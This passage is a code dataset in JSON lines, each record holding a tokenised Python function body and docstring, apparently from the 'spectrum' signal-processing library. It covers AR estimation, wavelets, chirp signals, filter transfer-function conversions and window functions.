MK):<EOL><INDENT>A[MK]=A[MK]+C1*(SAVE1.conjugate()) <EOL><DEDENT><DEDENT><DEDENT>if M+<NUM_LIT:1> == IP:<EOL><INDENT>P=<NUM_LIT>*P/float(N-M-<NUM_LIT:1>)<EOL>Pv.append(P)<EOL>return A, P, Pv<EOL><DEDENT>else:<EOL><INDENT>Pv.append(<NUM_LIT>*P/float(N-M-<NUM_LIT:1>))<EOL><DEDENT>R1=<NUM_LIT:1.>/(DELTA*GAMMA-(LAMBDA.real)**<NUM_LIT:2>-(LAMBDA.imag)**<NUM_LIT:2>)<EOL>C1=(THETA*(LAMBDA.conjugate())+PSI*DELTA)*R1<EOL>C2=(PSI*LAMBDA+THETA*GAMMA)*R1<EOL>C3=(XI*(LAMBDA.conjugate())+THETA*DELTA)*R1<EOL>C4=(THETA*LAMBDA+XI*GAMMA)*R1<EOL>for K in range(<NUM_LIT:0>, (M)//<NUM_LIT:2>+<NUM_LIT:1>):<EOL><INDENT>MK=M-K<EOL>SAVE1=C[K].conjugate()<EOL>SAVE2=D[K].conjugate()<EOL>SAVE3=C[MK].conjugate()<EOL>SAVE4=D[MK].conjugate()<EOL>C[K]=C[K]+C1*SAVE3+C2*SAVE4                <EOL>D[K]=D[K]+C3*SAVE3+C4*SAVE4                <EOL>if K != MK:<EOL><INDENT>C[MK]=C[MK]+C1*SAVE1+C2*SAVE2              <EOL>D[MK]=D[MK]+C3*SAVE1+C4*SAVE2              <EOL><DEDENT><DEDENT>R2=PSI.real**<NUM_LIT:2>+PSI.imag**<NUM_LIT:2><EOL>R3=THETA.real**<NUM_LIT:2>+THETA.imag**<NUM_LIT:2><EOL>R4=XI.real**<NUM_LIT:2>+XI.imag**<NUM_LIT:2><EOL>R5=GAMMA-(R2*DELTA+R3*GAMMA+<NUM_LIT>*np.real(PSI*LAMBDA*THETA.conjugate()))*R1<EOL>R2=DELTA-(R3*DELTA+R4*GAMMA+<NUM_LIT>*np.real(THETA*LAMBDA*XI.conjugate()))*R1<EOL>GAMMA=R5                                     <EOL>DELTA=R2                                     <EOL>LAMBDA=LAMBDA+C3*PSI.conjugate()+C4*THETA.conjugate()  <EOL>if P <= <NUM_LIT:0.>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if (DELTA > <NUM_LIT:0.> and DELTA <= <NUM_LIT:1.> and GAMMA > <NUM_LIT:0.> and GAMMA <=<NUM_LIT:1.>):<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>R1=<NUM_LIT:1.>/P<EOL>R2=<NUM_LIT:1.>/(DELTA*GAMMA-LAMBDA.real**<NUM_LIT:2>-LAMBDA.imag**<NUM_LIT:2>) <EOL>EF=X[M+<NUM_LIT:1>]<EOL>EB=X[N-M-<NUM_LIT:2>]<EOL>for K in range(<NUM_LIT:0>, M+<NUM_LIT:1>):<EOL><INDENT>EF=EF+A[K]*X[M-K]                        <EOL>EB=EB+A[K].conjugate()*X[N-M+K-<NUM_LIT:1>]            <EOL><DEDENT>C1=EB*R1                                     <EOL>C2=EF.conjugate()*R1                              <EOL>C3=(EB.conjugate()*DELTA+EF*LAMBDA)*R2<EOL>C4=(EF*GAMMA+(EB*LAMBDA).conjugate())*R2<EOL>for K in range(M, -<NUM_LIT:1>, -<NUM_LIT:1>):<EOL><INDENT>SAVE1=A[K]<EOL>A[K]=SAVE1+C3*C[K]+C4*D[K]                 <EOL>C[K+<NUM_LIT:1>]=C[K]+C1*SAVE1                       <EOL>D[K+<NUM_LIT:1>]=D[K]+C2*SAVE1                       <EOL><DEDENT>C[<NUM_LIT:0>]=C1<EOL>D[<NUM_LIT:0>]=C2<EOL>R3=EB.real**<NUM_LIT:2>+EB.imag**<NUM_LIT:2><EOL>R4=EF.real**<NUM_LIT:2>+EF.imag**<NUM_LIT:2><EOL>P=P-(R3*DELTA+R4*GAMMA+<NUM_LIT>*np.real(EF*EB*LAMBDA))*R2  <EOL>DELTA=DELTA-R4*R1                            <EOL>GAMMA=GAMMA-R3*R1                            <EOL>LAMBDA=LAMBDA+(EF*EB).conjugate()*R1                <EOL>if (P > <NUM_LIT:0.>):<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if (DELTA > <NUM_LIT:0.> and DELTA <= <NUM_LIT:1.> and  GAMMA > <NUM_LIT:0.> and GAMMA <= <NUM_LIT:1.>):<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>", "docstring": "Fast algorithm for the solution of the modified covariance least squares normal equations.\n\n    This implementation is based on [Marple]_. This code is far more\n    complicated and slower than :func:`modcovar` function, which is now the official version.\n    See :func:`modcovar` for a detailed description of Modified Covariance method.\n\n    :param X:    - Array of complex data samples X(1) through X(N)\n    :param int IP:   - Order of linear prediction model (integer)\n\n    :return:\n        * P    - Real linear prediction variance at order IP\n        * A    - Array of complex linear prediction coefficients\n        * ISTAT - Integer status indicator at time of exit\n              0. for normal exit (no numerical ill-conditioning)\n              1. if P is not a positive value\n              2. if DELTA' and GAMMA' do not lie in the range 0 to 1\n              3. if P' is not a positive value\n              4. if DELTA and GAMMA do not lie in the range 0 to 1\n\n\n    :validation: the AR parameters are the same as those returned by\n        a completely different function :func:`modcovar`.\n\n    .. note:: validation. results similar to test example in Marple but\n        starts to differ for    ip~8. with ratio of 0.975 for ip=15 probably\n        due to precision.\n\n\n    :References: [Marple]_", "id": "f10919:m0"}
{"signature": "def modcovar(x, order):", "body": "from spectrum import corrmtx<EOL>import scipy.linalg<EOL>X = corrmtx(x, order, '<STR_LIT>')<EOL>Xc = np.matrix(X[:,<NUM_LIT:1>:])<EOL>X1 = np.array(X[:,<NUM_LIT:0>])<EOL>a, residues, rank, singular_values = scipy.linalg.lstsq(-Xc, X1)<EOL>Cz = np.dot(X1.conj().transpose(), Xc)<EOL>e = np.dot(X1.conj().transpose(), X1) + np.dot(Cz, a)<EOL>assert e.imag < <NUM_LIT>, '<STR_LIT>'<EOL>e = float(e.real) <EOL>return a, e<EOL>", "docstring": "Simple and fast implementation of the covariance AR estimate\n\n    This code is 10 times faster than :func:`modcovar_marple` and more importantly\n    only 10 lines of code, compared to a 200 loc for :func:`modcovar_marple`\n\n    :param X:        Array of complex data samples\n    :param int order:   Order of linear prediction model\n\n    :return:\n        * P    - Real linear prediction variance at order IP\n        * A    - Array of complex linear prediction coefficients\n\n\n    .. plot::\n        :include-source:\n        :width: 80%\n\n        from spectrum import modcovar, marple_data, arma2psd, cshift\n        from pylab import log10, linspace, axis, plot \n\n        a, p = modcovar(marple_data, 15)\n        PSD = arma2psd(a)\n        PSD = cshift(PSD, len(PSD)/2) # switch positive and negative freq\n        plot(linspace(-0.5, 0.5, 4096), 10*log10(PSD/max(PSD)))\n        axis([-0.5,0.5,-60,0])\n\n    .. seealso:: :class:`~spectrum.modcovar.pmodcovar`\n\n    :validation: the AR parameters are the same as those returned by\n        a completely different function :func:`modcovar_marple`.\n\n\n    :References: Mathworks", "id": "f10919:m1"}
{"signature": "def __init__(self, data, order, NFFT=None, sampling=<NUM_LIT:1.>,<EOL>scale_by_freq=False):", "body": "super(pmodcovar, self).__init__(data, ar_order=order,<EOL>NFFT=NFFT, sampling=sampling,<EOL>scale_by_freq=scale_by_freq)<EOL>", "docstring": "**Constructor**\n\n        For a detailled description of the parameters, see :func:`modcovar`.\n\n        :param array data: input data (list or numpy.array)\n        :param int order:\n        :param int NFFT: total length of the final data sets (padded with\n            zero if needed; default is 4096)\n        :param float sampling: sampling frequency of the input :attr:`data`.", "id": "f10919:c0:m0"}
{"signature": "def morlet(lb, ub, n):", "body": "if n <= <NUM_LIT:0>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>x = numpy.linspace(lb, ub, n)<EOL>psi = numpy.cos(<NUM_LIT:5>*x) * numpy.exp(-x**<NUM_LIT:2>/<NUM_LIT>)<EOL>return psi<EOL>", "docstring": "r\"\"\"Generate the Morlet waveform\n\n\n    The Morlet waveform is defined as follows:\n\n    .. math:: w[x] = \\cos{5x}  \\exp^{-x^2/2}\n\n    :param lb: lower bound\n    :param ub: upper bound\n    :param int n: waveform data samples\n\n\n    .. plot::\n        :include-source:\n        :width: 80%\n\n        from spectrum import morlet\n        from pylab import plot\n        plot(morlet(0,10,100))", "id": "f10920:m0"}
{"signature": "def chirp(t, f0=<NUM_LIT:0.>, t1=<NUM_LIT:1.>, f1=<NUM_LIT>, form='<STR_LIT>', phase=<NUM_LIT:0>):", "body": "valid_forms = ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>']<EOL>if form not in valid_forms:<EOL><INDENT>raise ValueError(\"<STR_LIT>\"<EOL>% valid_forms)<EOL><DEDENT>t = numpy.array(t)<EOL>phase = <NUM_LIT> * pi * phase / <NUM_LIT><EOL>if form == \"<STR_LIT>\":<EOL><INDENT>a = pi * (f1 - f0)/t1<EOL>b = <NUM_LIT> * pi * f0<EOL>y = numpy.cos(a * t**<NUM_LIT:2> + b*t + phase)<EOL><DEDENT>elif form == \"<STR_LIT>\":<EOL><INDENT>a = (<NUM_LIT:2>/<NUM_LIT> * pi * (f1-f0)/t1/t1)<EOL>b = <NUM_LIT> * pi * f0<EOL>y = numpy.cos(a*t**<NUM_LIT:3> + b * t + phase)<EOL><DEDENT>elif form == \"<STR_LIT>\":<EOL><INDENT>a = <NUM_LIT> * pi * t1/numpy.log(f1-f0)<EOL>b = <NUM_LIT> * pi * f0<EOL>x = (f1-f0)**(<NUM_LIT:1.>/t1)<EOL>y = numpy.cos(a * x**t + b * t + phase)<EOL><DEDENT>return y<EOL>", "docstring": "r\"\"\"Evaluate a chirp signal at time t.\n\n    A chirp signal is a frequency swept cosine wave.\n\n    .. math:: a = \\pi  (f_1 - f_0) / t_1\n    .. math:: b = 2  \\pi  f_0\n    .. math:: y = \\cos\\left( \\pi\\frac{f_1-f_0}{t_1}  t^2 + 2\\pi f_0 t + \\rm{phase} \\right)\n\n    :param array t: times at which to evaluate the chirp signal\n    :param float f0: frequency at time t=0 (Hz)\n    :param float t1: time t1\n    :param float f1: frequency at time t=t1 (Hz)\n    :param str form: shape of frequency sweep in ['linear', 'quadratic', 'logarithmic']\n    :param float phase: phase shift at t=0\n\n    The parameter **form** can be:\n\n        * 'linear'      :math:`f(t) = (f_1-f_0)(t/t_1) + f_0`\n        * 'quadratic'   :math:`f(t) = (f_1-f_0)(t/t_1)^2 + f_0`\n        * 'logarithmic' :math:`f(t) = (f_1-f_0)^{(t/t_1)} + f_0`\n\n    Example:\n\n    .. plot::\n        :include-source:\n        :width: 80%\n\n        from spectrum import chirp\n        from pylab import linspace, plot\n        t = linspace(0, 1, 1000)\n        y = chirp(t, form='linear')\n        plot(y)\n        y = chirp(t, form='quadratic')\n        plot(y, 'r')", "id": "f10920:m1"}
{"signature": "def mexican(lb, ub, n):", "body": "if n <= <NUM_LIT:0>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>x = numpy.linspace(lb, ub, n)<EOL>psi = (<NUM_LIT:1.>-x**<NUM_LIT>) * (<NUM_LIT>/(numpy.sqrt(<NUM_LIT>)*pi**<NUM_LIT>)) * numpy.exp(-x**<NUM_LIT:2>/<NUM_LIT>)<EOL>return psi<EOL>", "docstring": "r\"\"\"Generate the mexican hat wavelet\n\n    The Mexican wavelet is:\n\n    .. math:: w[x] = \\cos{5x}  \\exp^{-x^2/2}\n\n    :param lb: lower bound\n    :param ub: upper bound\n    :param int n: waveform data samples\n    :return: the waveform\n\n    .. plot::\n        :include-source:\n        :width: 80%\n\n        from spectrum import mexican\n        from pylab import plot\n        plot(mexican(0, 10, 100))", "id": "f10920:m2"}
{"signature": "def meyeraux(x):", "body": "return  <NUM_LIT>*x**<NUM_LIT:4>-<NUM_LIT>*x**<NUM_LIT:5>+<NUM_LIT>*x**<NUM_LIT:6>-<NUM_LIT>*x**<NUM_LIT:7><EOL>", "docstring": "r\"\"\"Compute the Meyer auxiliary function\n\n    The Meyer function is\n\n    .. math:: y = 35 x^4-84 x^5+70 x^6-20 x^7\n\n    :param array x:\n    :return: the waveform\n\n    .. plot::\n        :include-source:\n        :width: 80%\n\n        from spectrum import meyeraux\n        from pylab import linspace, plot\n        t = linspace(0, 1, 1000)\n        plot(t, meyeraux(t))", "id": "f10920:m3"}
{"signature": "def tf2zp(b,a):", "body": "from numpy import roots<EOL>assert len(b) == len(a), \"<STR_LIT>\"<EOL>g = b[<NUM_LIT:0>] / a[<NUM_LIT:0>]<EOL>z = roots(b)<EOL>p = roots(a)<EOL>return z, p, g<EOL>", "docstring": "Convert transfer function filter parameters to zero-pole-gain form\n\n    Find the zeros, poles, and gains of this continuous-time system:\n\n    .. warning:: b and a must have the same length.\n\n    ::\n\n\n        from spectrum import tf2zp\n        b = [2,3,0]\n        a = [1, 0.4, 1]\n        [z,p,k] = tf2zp(b,a)          % Obtain zero-pole-gain form\n        z =\n            1.5\n            0\n        p =\n           -0.2000 + 0.9798i\n            -0.2000 - 0.9798i\n        k =\n           2\n\n    :param b: numerator\n    :param a: denominator\n    :param fill: If True, check that the length of a and b are the same. If not, create a copy of the shortest element and append zeros to it.\n    :return: z (zeros), p (poles), g (gain)\n\n\n    Convert transfer function f(x)=sum(b*x^n)/sum(a*x^n) to\n    zero-pole-gain form f(x)=g*prod(1-z*x)/prod(1-p*x)\n\n    .. todo:: See if tf2ss followed by ss2zp gives better results.  These\n        are available from the control system toolbox.  Note that\n        the control systems toolbox doesn't bother, but instead uses\n\n    .. seealso:: scipy.signal.tf2zpk, which gives the same results but uses a different\n        algorithm (z^-1 instead of z).", "id": "f10921:m0"}
{"signature": "def eqtflength(b,a):", "body": "d = abs(len(b)-len(a))<EOL>if d != <NUM_LIT:0>:<EOL><INDENT>if len(a) > len(b):<EOL><INDENT>try:<EOL><INDENT>b.extend([<NUM_LIT:0.>]*d)<EOL><DEDENT>except:<EOL><INDENT>b = np.append(b, [<NUM_LIT:0>]*d)<EOL><DEDENT><DEDENT>elif len(b)>len(a):<EOL><INDENT>try:<EOL><INDENT>a.extend([<NUM_LIT:0.>]*d)<EOL><DEDENT>except:<EOL><INDENT>a = np.append(a, [<NUM_LIT:0>]*d)<EOL><DEDENT><DEDENT>return b,a<EOL><DEDENT>else:<EOL><INDENT>return b,a<EOL><DEDENT>", "docstring": "Given two list or arrays, pad with zeros the shortest array\n\n    :param b: list or array\n    :param a: list or array\n\n\n    .. doctest::\n\n        >>> from spectrum.transfer import eqtflength\n        >>> a = [1,2]\n        >>> b = [1,2,3,4]\n        >>> a, b, = eqtflength(a,b)", "id": "f10921:m2"}
{"signature": "def tf2zpk(b, a):", "body": "import scipy.signal<EOL>z,p,k = scipy.signal.tf2zpk(b, a)<EOL>return z,p,k<EOL>", "docstring": "Return zero, pole, gain (z,p,k) representation from a numerator,\n    denominator representation of a linear filter.\n\n    Convert zero-pole-gain filter parameters to transfer function form\n\n    :param ndarray b:  numerator polynomial.\n    :param ndarray a: numerator and denominator polynomials.\n\n    :return:\n        * z : ndarray        Zeros of the transfer function.\n        * p : ndarray        Poles of the transfer function.\n        * k : float        System gain.\n\n    If some values of b are too close to 0, they are removed. In that case, a\n    BadCoefficients warning is emitted.\n\n    .. doctest::\n\n        >>> import scipy.signal\n        >>> from spectrum.transfer import tf2zpk\n        >>> [b, a] = scipy.signal.butter(3.,.4)\n        >>> z, p ,k = tf2zpk(b,a)\n\n    .. seealso:: :func:`zpk2tf`\n    .. note:: wrapper of scipy function tf2zpk", "id": "f10921:m7"}
{"signature": "def ss2zpk(a,b,c,d, input=<NUM_LIT:0>):", "body": "import scipy.signal<EOL>z, p, k = scipy.signal.ss2zpk(a, b, c, d, input=input)<EOL>return z, p, k<EOL>", "docstring": "State-space representation to zero-pole-gain representation.\n\n    :param A: ndarray State-space representation of linear system.\n    :param B: ndarray State-space representation of linear system.\n    :param C: ndarray State-space representation of linear system.\n    :param D: ndarray State-space representation of linear system.\n    :param int input: optional For multiple-input systems, the input to use.\n\n    :return:\n        * z, p : sequence  Zeros and poles.\n        * k : float System gain.\n\n    .. note:: wrapper of scipy function ss2zpk", "id": "f10921:m8"}
{"signature": "def zpk2tf(z, p, k):", "body": "import scipy.signal<EOL>b, a = scipy.signal.zpk2tf(z, p, k)<EOL>return b, a<EOL>", "docstring": "r\"\"\"Return polynomial transfer function representation from zeros and poles\n\n    :param ndarray z: Zeros of the transfer function.\n    :param ndarray p: Poles of the transfer function.\n    :param float k: System gain.\n\n    :return:\n        b : ndarray Numerator polynomial.\n        a : ndarray Numerator and denominator polynomials.\n\n    :func:`zpk2tf` forms transfer function polynomials from the zeros, poles, and gains\n    of a system in factored form.\n\n    zpk2tf(z,p,k) finds a rational transfer function\n\n    .. math:: \\frac{B(s)}{A(s)} = \\frac{b_1 s^{n-1}+\\dots b_{n-1}s+b_n}{a_1 s^{m-1}+\\dots a_{m-1}s+a_m}\n\n    given a system in factored transfer function form\n\n    .. math:: H(s) = \\frac{Z(s)}{P(s)} = k \\frac{(s-z_1)(s-z_2)\\dots(s-z_m)}{(s-p_1)(s-p_2)\\dots(s-p_n)}\n\n\n    with p being the pole locations, and z the zero locations, with as many.\n    The gains for each numerator transfer function are in vector k.\n    The zeros and poles must be real or come in complex conjugate pairs.\n    The polynomial denominator coefficients are returned in row vector a and\n    the polynomial numerator coefficients are returned in matrix b, which has\n    as many rows as there are columns of z.\n\n    Inf values can be used as place holders in z if some columns have fewer zeros than others.\n\n    .. note:: wrapper of scipy function zpk2tf", "id": "f10921:m9"}
{"signature": "def zpk2ss(z, p, k):", "body": "import scipy.signal<EOL>return scipy.signal.zpk2ss(z,p,k)<EOL>", "docstring": "Zero-pole-gain representation to state-space representation\n\n    :param sequence z,p: Zeros and poles.\n    :param float k: System gain.\n\n    :return:\n        * A, B, C, D : ndarray State-space matrices.\n\n    .. note:: wrapper of scipy function zpk2ss", "id": "f10921:m10"}
{"signature": "def MINEIGVAL(T0, T, TOL):", "body": "M = len(T)<EOL>eigval = <NUM_LIT:10><EOL>eigvalold = <NUM_LIT:1><EOL>eigvec  = numpy.zeros(M+<NUM_LIT:1>, dtype=complex)<EOL>for k in range(<NUM_LIT:0>,M+<NUM_LIT:1>):<EOL><INDENT>eigvec[k] = <NUM_LIT:1>+<NUM_LIT><EOL><DEDENT>it=<NUM_LIT:0><EOL>maxit = <NUM_LIT:15><EOL>while abs(eigvalold-eigval)>TOL*eigvalold and it<maxit:<EOL><INDENT>it=it+<NUM_LIT:1><EOL>eigvalold = eigval<EOL>eig = toeplitz.HERMTOEP(T0, T, eigvec)<EOL>SUM = <NUM_LIT:0><EOL>save =<NUM_LIT:0.>+<NUM_LIT><EOL>for k in range(<NUM_LIT:0>, M+<NUM_LIT:1>):<EOL><INDENT>SUM = SUM + eig[k].real**<NUM_LIT:2>+eig[k].imag**<NUM_LIT:2><EOL>save = save +eig[k]*eigvec[k].conjugate()<EOL><DEDENT>SUM=<NUM_LIT:1.>/SUM<EOL>eigval = save.real*SUM<EOL>for k in range(<NUM_LIT:0>,M+<NUM_LIT:1>):<EOL><INDENT>eigvec[k] = SUM * eig[k]<EOL><DEDENT><DEDENT>if it==maxit:<EOL><INDENT>print('<STR_LIT>' % maxit)<EOL><DEDENT>return eigval, eigvec<EOL>", "docstring": "Finds the minimum eigenvalue of a Hermitian Toeplitz matrix\n\n    The classical power method is used together with a  fast  Toeplitz\n    equation solution routine.  The eigenvector is normalized to unit length.\n\n    :param T0: Scalar corresponding to real matrix element t(0)\n    :param T: Array of  M  complex matrix elements t(1),...,t(M) C            from the left column of the Toeplitz matrix\n    :param TOL: Real scalar tolerance; routine exits when [ EVAL(k) - EVAL(k-1) ]/EVAL(k-1) < TOL , where the index k denotes the iteration number.\n\n    :return:\n        * EVAL - Real scalar denoting the minimum eigenvalue of matrix\n        * EVEC - Array of  M  complex eigenvector elements associated\n\n\n    .. note::\n     * External array T must be dimensioned >= M\n     * array EVEC must be >= M+1\n     *  Internal array E must be dimensioned >= M+1 .  \n\n     * **dependencies**\n        *  :meth:`spectrum.toeplitz.HERMTOEP`", "id": "f10922:m0"}
{"signature": "def create_window(N, name=None, **kargs):", "body": "if name is None:<EOL><INDENT>name = '<STR_LIT>'<EOL><DEDENT>name = name.lower()<EOL>assert name in list(window_names.keys()),\"\"\"<STR_LIT>\"\"\"% (name, window_names)<EOL>f = eval(window_names[name])<EOL>windows_with_parameters ={'<STR_LIT>': {'<STR_LIT>': eval(window_names['<STR_LIT>']).__defaults__[<NUM_LIT:0>]},<EOL>'<STR_LIT>': {'<STR_LIT>': eval(window_names['<STR_LIT>']).__defaults__[<NUM_LIT:0>]},<EOL>'<STR_LIT>': {'<STR_LIT>': eval(window_names['<STR_LIT>']).__defaults__[<NUM_LIT:0>]},<EOL>'<STR_LIT>': {'<STR_LIT>': eval(window_names['<STR_LIT>']).__defaults__[<NUM_LIT:0>]},<EOL>'<STR_LIT>': {'<STR_LIT>': eval(window_names['<STR_LIT>']).__defaults__[<NUM_LIT:0>]},<EOL>'<STR_LIT>': {'<STR_LIT>':eval(window_names['<STR_LIT>']).__defaults__[<NUM_LIT:0>]},<EOL>'<STR_LIT>': {'<STR_LIT:r>':eval(window_names['<STR_LIT>']).__defaults__[<NUM_LIT:0>]},<EOL>'<STR_LIT>': {'<STR_LIT>': eval(window_names['<STR_LIT>']).__defaults__[<NUM_LIT:0>]},<EOL>'<STR_LIT>': {'<STR_LIT>':<EOL>eval(window_names['<STR_LIT>']).__defaults__[<NUM_LIT:0>]},<EOL>'<STR_LIT>': {'<STR_LIT>': eval(window_names['<STR_LIT>']).__defaults__[<NUM_LIT:0>],<EOL>'<STR_LIT>': eval(window_names['<STR_LIT>']).__defaults__[<NUM_LIT:0>]},     <EOL>}<EOL>if name not in list(windows_with_parameters.keys()):<EOL><INDENT>if len(kargs) == <NUM_LIT:0>:<EOL><INDENT>w = f(N)<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(\"\"\"<STR_LIT>\"\"\")<EOL><DEDENT><DEDENT>elif name in list(windows_with_parameters.keys()):<EOL><INDENT>dargs = {}<EOL>for arg in list(kargs.keys()):<EOL><INDENT>try:<EOL><INDENT>default = windows_with_parameters[name][arg]<EOL><DEDENT>except:<EOL><INDENT>raise ValueError(\"\"\"<STR_LIT>\"\"\" %(arg, name, list(windows_with_parameters[name].keys())))<EOL><DEDENT>dargs[arg] = kargs.get(arg, default)<EOL><DEDENT>w = f(N, **dargs)<EOL><DEDENT>return w<EOL>", "docstring": "r\"\"\"Returns the N-point window given a valid name\n\n    :param int N: window size\n    :param str name: window name (default is *rectangular*). Valid names\n        are stored in :func:`~spectrum.window.window_names`.\n    :param kargs: optional arguments are:\n\n        * *beta*: argument of the :func:`window_kaiser` function (default is 8.6)\n        * *attenuation*: argument of the :func:`window_chebwin` function (default is 50dB)\n        * *alpha*: argument of the\n            1. :func:`window_gaussian` function (default is 2.5)\n            2. :func:`window_blackman` function (default is 0.16)\n            3. :func:`window_poisson` function (default is 2)\n            4. :func:`window_cauchy` function (default is 3)\n        * *mode*: argument :func:`window_flattop` function (default is *symmetric*, can be *periodic*)\n        * *r*: argument of the :func:`window_tukey` function (default is 0.5).\n\n    The following windows have been simply wrapped from existing librairies like\n    NumPy:\n\n        * **Rectangular**: :func:`window_rectangle`,\n        * **Bartlett** or Triangular: see :func:`window_bartlett`,\n        * **Hanning** or Hann: see :func:`window_hann`,\n        * **Hamming**: see :func:`window_hamming`,\n        * **Kaiser**: see :func:`window_kaiser`,\n        * **chebwin**: see :func:`window_chebwin`.\n\n    The following windows have been implemented from scratch:\n\n        * **Blackman**: See :func:`window_blackman`\n        * **Bartlett-Hann** : see :func:`window_bartlett_hann`\n        * **cosine or sine**: see :func:`window_cosine`\n        * **gaussian**: see :func:`window_gaussian`\n        * **Bohman**: see :func:`window_bohman`\n        * **Lanczos or sinc**: see :func:`window_lanczos`\n        * **Blackman Harris**: see :func:`window_blackman_harris`\n        * **Blackman Nuttall**: see :func:`window_blackman_nuttall`\n        * **Nuttall**: see :func:`window_nuttall`\n        * **Tukey**: see :func:`window_tukey`\n        * **Parzen**: see :func:`window_parzen`\n        * **Flattop**: see :func:`window_flattop`\n        * **Riesz**: see :func:`window_riesz`\n        * **Riemann**: see :func:`window_riemann`\n        * **Poisson**: see :func:`window_poisson`\n        * **Poisson-Hanning**: see :func:`window_poisson_hanning`\n\n    .. todo:: on request taylor, potter, Bessel, expo,\n        rife-vincent, Kaiser-Bessel derived (KBD)\n\n    .. plot::\n        :width: 80%\n        :include-source:\n\n        from pylab import plot, legend\n        from spectrum import create_window\n\n        data = create_window(51, 'hamming')\n        plot(data, label='hamming')\n        data = create_window(51, 'kaiser')\n        plot(data, label='kaiser')\n        legend()\n\n    .. plot::\n        :width: 80%\n        :include-source:\n\n        from pylab import plot, log10, linspace, fft, clip\n        from spectrum import create_window, fftshift\n\n        A = fft(create_window(51, 'hamming'), 2048) / 25.5\n        mag = abs(fftshift(A))\n        freq = linspace(-0.5,0.5,len(A))\n        response = 20 * log10(mag)\n        mindB = -60\n        response = clip(response,mindB,100)\n        plot(freq, response)\n\n    .. seealso:: :func:`window_visu`, :func:`Window`, :mod:`spectrum.dpss`", "id": "f10924:m0"}
{"signature": "def enbw(data):", "body": "N = len(data)<EOL>return N * np.sum(data**<NUM_LIT:2>) / np.sum(data)**<NUM_LIT:2><EOL>", "docstring": "r\"\"\"Computes the equivalent noise bandwidth\n\n    .. math:: ENBW = N \\frac{\\sum_{n=1}^{N} w_n^2}{\\left(\\sum_{n=1}^{N} w_n \\right)^2}\n\n    .. doctest::\n\n        >>> from spectrum import create_window, enbw\n        >>> w = create_window(64, 'rectangular')\n        >>> enbw(w)\n        1.0\n\n    The following table contains the ENBW values for some of the\n    implemented windows in this module (with N=16384). They have been\n    double checked against litterature (Source: [Harris]_, [Marple]_).\n\n    If not present, it means that it has not been checked.\n\n    =================== ============ =============\n    name                 ENBW        litterature\n    =================== ============ =============\n    rectangular         1.           1.\n    triangle            1.3334       1.33\n    Hann                1.5001       1.5\n    Hamming             1.3629       1.36\n    blackman            1.7268       1.73\n    kaiser              1.7\n    blackmanharris,4    2.004        2.\n    riesz               1.2000       1.2\n    riemann             1.32         1.3\n    parzen              1.917        1.92\n    tukey 0.25          1.102        1.1\n    bohman              1.7858       1.79\n    poisson 2           1.3130       1.3\n    hanningpoisson 0.5  1.609        1.61\n    cauchy              1.489        1.48\n    lanczos             1.3\n    =================== ============ =============", "id": "f10924:m1"}
{"signature": "def _kaiser(n, beta):", "body": "from scipy.special import iv as besselI<EOL>m = n - <NUM_LIT:1><EOL>k = arange(<NUM_LIT:0>, m)<EOL>k = <NUM_LIT> * beta / m * sqrt (k * (m - k))<EOL>w = besselI (<NUM_LIT:0>, k) / besselI (<NUM_LIT:0>, beta)<EOL>return w<EOL>", "docstring": "Independant Kaiser window\n\n    For the definition of the Kaiser window, see A. V. Oppenheim & R. W. Schafer, \"Discrete-Time Signal Processing\".\n\n    The continuous version of width n centered about x=0 is:\n\n    .. note:: 2 times slower than scipy.kaiser", "id": "f10924:m2"}
{"signature": "def window_visu(N=<NUM_LIT>, name='<STR_LIT>', **kargs):", "body": "<EOL>mindB = kargs.pop('<STR_LIT>', -<NUM_LIT:100>)<EOL>maxdB = kargs.pop('<STR_LIT>', None)<EOL>norm = kargs.pop('<STR_LIT>', True)<EOL>w = Window(N, name, **kargs)<EOL>w.plot_time_freq(mindB=mindB, maxdB=maxdB, norm=norm)<EOL>", "docstring": "A Window visualisation tool\n\n    :param N: length of the window\n    :param name: name of the window\n    :param NFFT: padding used by the FFT\n    :param mindB: the minimum frequency power in dB\n    :param maxdB: the maximum frequency power in dB\n    :param kargs: optional arguments passed to :func:`create_window`\n\n    This function plot the window shape and its equivalent in the Fourier domain.\n\n    .. plot::\n        :width: 80%\n        :include-source:\n\n        from spectrum import window_visu\n        window_visu(64, 'kaiser', beta=8.)", "id": "f10924:m3"}
{"signature": "def window_rectangle(N):", "body": "return ones(N)<EOL>", "docstring": "r\"\"\"Kaiser window\n\n    :param N: window length\n\n    .. plot::\n        :width: 80%\n        :include-source:\n\n        from spectrum import window_visu\n        window_visu(64, 'rectangle')", "id": "f10924:m4"}
{"signature": "def window_kaiser(N, beta=<NUM_LIT>, method='<STR_LIT>'):", "body": "if N == <NUM_LIT:1>:<EOL><INDENT>return ones(<NUM_LIT:1>)<EOL><DEDENT>if method == '<STR_LIT>':<EOL><INDENT>from numpy import kaiser<EOL>return kaiser(N, beta)<EOL><DEDENT>else:<EOL><INDENT>return _kaiser(N, beta)<EOL><DEDENT>", "docstring": "r\"\"\"Kaiser window\n\n    :param N: window length\n    :param beta: kaiser parameter (default is 8.6)\n\n    To obtain a Kaiser window that designs an FIR filter with\n    sidelobe attenuation of :math:`\\alpha` dB, use the following :math:`\\beta` where\n    :math:`\\beta = \\pi \\alpha`.\n\n    .. math::\n\n        w_n = \\frac{I_0\\left(\\pi\\alpha\\sqrt{1-\\left(\\frac{2n}{M}-1\\right)^2}\\right)} {I_0(\\pi \\alpha)}\n\n    where\n\n      * :math:`I_0` is the zeroth order Modified Bessel function of the first kind.\n      * :math:`\\alpha` is a real number that determines the shape of the \n        window. It determines the trade-off between main-lobe width and side \n        lobe level.\n      * the length of the sequence is N=M+1.\n\n    The Kaiser window can approximate many other windows by varying \n    the :math:`\\beta` parameter:\n\n    ===== ========================\n    beta  Window shape\n    ===== ========================\n    0     Rectangular\n    5     Similar to a Hamming\n    6     Similar to a Hanning\n    8.6   Similar to a Blackman\n    ===== ========================\n\n    